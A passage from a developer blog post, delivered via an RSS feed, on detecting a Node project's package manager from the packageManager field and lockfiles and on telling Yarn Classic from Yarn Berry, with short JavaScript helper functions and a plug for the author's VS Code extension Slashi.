&lt;p&gt;Only the prefix before &lt;code&gt;@&lt;/code&gt; matters for picking the tool. The version matters later, for Yarn.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: fall back to lockfiles and workspace files
&lt;/h2&gt;

&lt;p&gt;No field? Look at what's on disk, in the package's own folder first and then at the workspace root (in a monorepo, the lockfile usually lives only at the root):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Package manager&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;pnpm-lock.yaml&lt;/code&gt;, &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;pnpm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;yarn.lock&lt;/code&gt;, &lt;code&gt;.yarnrc.yml&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yarn&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;bun.lock&lt;/code&gt;, &lt;code&gt;bun.lockb&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Bun&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;package-lock.json&lt;/code&gt;, &lt;code&gt;npm-shrinkwrap.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;npm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nothing&lt;/td&gt;
&lt;td&gt;npm (the default that ships with Node)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here's that logic as a standalone function (Node 18+, no dependencies):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;existsSync&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;readFileSync&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:fs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;join&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:path&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LOCKFILES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pnpm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pnpm-lock.yaml&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pnpm-workspace.yaml&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;yarn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;yarn.lock&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.yarnrc.yml&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bun&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bun.lock&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bun.lockb&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;npm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;package-lock.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;npm-shrinkwrap.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;detectPackageManager&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;workspaceRoot&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;package.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;field&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;packageManager&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;packageManager&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;LOCKFILES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;field&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;folder&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;workspaceRoot&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;LOCKFILES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;existsSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;folder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;npm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;detectPackageManager&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt; &lt;span class="c1"&gt;// e.g. "pnpm"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The order of that table is a decision, not a fact. A repo with both &lt;code&gt;pnpm-lock.yaml&lt;/code&gt; and a stale &lt;code&gt;package-lock.json&lt;/code&gt; is common after someone switches tools and forgets to delete the old file. Checking pnpm, Yarn and Bun before npm means the leftover npm lockfile loses, which matched every case I've seen. It's still a guess.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: if it's Yarn, find out which Yarn
&lt;/h2&gt;

&lt;p&gt;"Yarn" is two tools with one name. Yarn 1 (Classic) is frozen; Yarn 2 and later (Berry, now Yarn 4) is a rewrite with different commands. Getting the generation wrong produces commands that fail outright.&lt;/p&gt;

&lt;p&gt;These are the commands Slashi now picks for each, from &lt;a href="https://github.com/meness/slashi/blob/main/src/core/detect.ts" rel="noopener noreferrer"&gt;the detection code&lt;/a&gt; (Slashi 0.6.0, October 2026):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Yarn 1 (Classic)&lt;/th&gt;
&lt;th&gt;Yarn 2+ (Berry)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Install from the lockfile only&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn install --frozen-lockfile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn install --immutable&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update packages&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn upgrade&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn up &amp;lt;packages&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List outdated&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn outdated&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn upgrade-interactive&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security audit&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn audit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn npm audit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List top-level dependencies&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn list --depth=0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn info --name-only&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Run a package without installing it&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn dlx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The signals I use for "this is Berry":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;packageManager&lt;/code&gt; says &lt;code&gt;yarn@2&lt;/code&gt; or higher. If it says &lt;code&gt;yarn@1.22.22&lt;/code&gt;, it's Classic, end of story.&lt;/li&gt;
&lt;li&gt;Otherwise, a &lt;code&gt;.yarnrc.yml&lt;/code&gt; exists. Yarn 1 reads &lt;code&gt;.yarnrc&lt;/code&gt; (no &lt;code&gt;.yml&lt;/code&gt;), Berry reads &lt;code&gt;.yarnrc.yml&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Otherwise, assume Classic.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isYarnBerry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hasYarnrcYml&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;major&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/^yarn@&lt;/span&gt;&lt;span class="se"&gt;(\d&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;packageManager&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)?.[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;major&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;major&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;hasYarnrcYml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  One more difference that isn't Yarn's
&lt;/h2&gt;

&lt;p&gt;Passing extra arguments to a script works differently too. &lt;code&gt;pnpm run test --watch&lt;/code&gt;, &lt;code&gt;yarn test --watch&lt;/code&gt; and &lt;code&gt;bun run test --watch&lt;/code&gt; all hand &lt;code&gt;--watch&lt;/code&gt; to the script. npm needs a separator: &lt;code&gt;npm run test -- --watch&lt;/code&gt;. Without the &lt;code&gt;--&lt;/code&gt;, npm treats &lt;code&gt;--watch&lt;/code&gt; as its own option. If your tool appends arguments, add the &lt;code&gt;--&lt;/code&gt; for npm only.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where this still guesses wrong
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A Berry project with no &lt;code&gt;.yarnrc.yml&lt;/code&gt; and no &lt;code&gt;packageManager&lt;/code&gt; field.&lt;/strong&gt; It's possible, and my rules call it Classic. As far as I can tell it's rare, because Berry projects almost always commit &lt;code&gt;.yarnrc.yml&lt;/code&gt;, but it isn't impossible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two current lockfiles on purpose.&lt;/strong&gt; Some repos keep both a &lt;code&gt;yarn.lock&lt;/code&gt; and a &lt;code&gt;package-lock.json&lt;/code&gt; for different consumers. The fixed order picks pnpm, then Yarn, then Bun, then npm, which may not be what the maintainers intend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deno, and Bun's npm compatibility.&lt;/strong&gt; A project with both &lt;code&gt;deno.json&lt;/code&gt; and &lt;code&gt;package.json&lt;/code&gt; needs its own rules. I treat Deno tasks separately and don't try to pick between them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The installed version.&lt;/strong&gt; All of this reads files. It doesn't check that the right package manager is installed, which Corepack is better at.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your tool has to get this right, read &lt;code&gt;packageManager&lt;/code&gt; first, use lockfiles second, and treat "Yarn" as two different tools.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi, which uses this detection to show a project's scripts and package-manager commands in VS Code. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>node</category>
      <category>npm</category>
      <category>tooling</category>
    </item>
  </channel>
</rss>
